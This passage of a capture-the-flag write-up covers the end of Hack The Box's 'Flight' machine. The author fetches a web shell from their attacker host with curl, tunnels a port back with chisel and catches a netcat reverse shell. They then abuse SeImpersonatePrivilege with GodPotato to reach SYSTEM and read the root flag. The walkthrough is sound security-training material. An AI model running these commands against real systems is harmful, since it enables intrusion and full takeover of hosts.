PS C:\inetpub\development> curl http://10.10.14.10/shell.aspx -o shell.aspx
curl http://10.10.14.10/shell.aspx -o shell.aspx
PS C:\inetpub\development> ls
ls
Directory: C:\inetpub\development

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/31/2024 3:47 AM css
d----- 10/31/2024 3:47 AM fonts
d----- 10/31/2024 3:47 AM img
d----- 10/31/2024 3:47 AM js
-a---- 4/16/2018 2:23 PM 9371 contact.html
-a---- 4/16/2018 2:23 PM 45949 index.html
-a---- 10/31/2024 3:47 AM 1458 shell.aspx

Cool, now I need to find which port the site is on. I can see two possible ports:

1
2
3
4
PS C:\inetpub\development> netstat -ano | findstr "LISTENING"
netstat -ano | findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4904
TCP 0.0.0.0:8000 0.0.0.0

Port Forwarding 8000/tcp

Its probably 8000 since I know the other two sites are on 80. Now I need to access the port so I’ll just use chisel.exe. First I’ll start chisel server:

1
2
3
4
獣 ~/htb/Flight/enumeration ➜ chisel server -p 6666 --reverse
2024/10/30 23:55:45 server: Reverse tunnelling enabled
2024/10/30 23:55:45 server: Fingerprint vxCvFetkkYbwRH0ZMvgcifnZEUpRIzfjyPT1JcbsvMw=
2024/10/30 23:55:45 server: Listening on http://0.0.0.0:6666

And now I can use chisel.exe as the client:

1
2
3
4
PS C:\programdata> .\chisel.exe client 10.10.14.10:6666 R:8000:127.0.0.1:8000
.\chisel.exe client 10.10.14.10:6666 R:8000:127.0.0.1:8000
2024/10/31 03:56:39 client: Connecting to ws://10.10.14.10:6666
2024/10/31 03:56:39 client: Connected (Latency 93.6603ms)

Getting A Revshell

Now going to 127.0.0.1:8000 on my browser shows me the site:

Image

And I can go to /shell.aspx for a webshell:

Image

Keep in mind that there is a cleanup script so your shell might get deleted. I’ll get an actual revshell through using nc64.exe again:

1
2
3
4
5
6
7
8
9
獣 ~/htb/Flight/enumeration ➜ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.187] 50067
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\development> whoami
whoami
iis apppool\defaultapppool

Shell as SYSTEM

Enum

I’ll run whoami /all to see what privs I have, and since I’m a service account in the context of IIS, I should have SeImpersonate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
PS C:\inetpub\development> whoami /all
whoami /all

USER INFORMATION
----------------

User Name SID
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Shell as SYSTEM

As I guessed, I do have SeImpersonatePrivilege, I’ll abuse this to get a shell as SYSTEM using GodPotato.exe:

Image

I got a shell as SYSTEM! With that I can read the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\programdata> cd \users\administrator\desktop
cd \users\administrator\desktop
PS C:\users\administrator\desktop> ls
ls

Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/31/2024 2:14 AM 34 root.txt

PS C:\users\administrator\desktop> cat root.txt
cat root.txt
68bf6<redacted>

Thoughts

Flight was a LOT of enum, but it was very fun and an interesting machine. I really liked all of the aspects of pivoting to different users. And I liked how the author showcased RunasCs.exe since I feel like its important.